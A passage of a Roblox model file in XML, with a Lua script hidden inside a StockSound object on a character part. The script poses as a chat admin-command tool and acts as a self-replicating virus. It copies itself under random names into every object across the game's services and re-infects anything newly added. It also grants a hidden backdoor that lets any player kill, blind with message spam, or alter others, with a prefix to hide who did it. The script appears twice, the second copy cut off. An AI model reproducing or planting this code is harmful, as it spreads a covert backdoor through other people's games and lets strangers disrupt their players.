fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX246">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">119</int>
						<CoordinateFrame name="CFrame">
							<X>-11.4420395</X>
							<Y>1.30512977</Y>
							<Z>-8.26203251</Z>
							<R00>-0.313818604</R00>
							<R01>-0.0172081571</R01>
							<R02>-0.949327052</R02>
							<R10>-0.000132629575</R10>
							<R11>0.999836564</R11>
							<R12>-0.0180798844</R12>
							<R20>0.949482977</R20>
							<R21>-0.00554789416</R21>
							<R22>-0.313769609</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Right Leg</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX247">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">6qhwuwpa5</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX248">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">jkyu</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
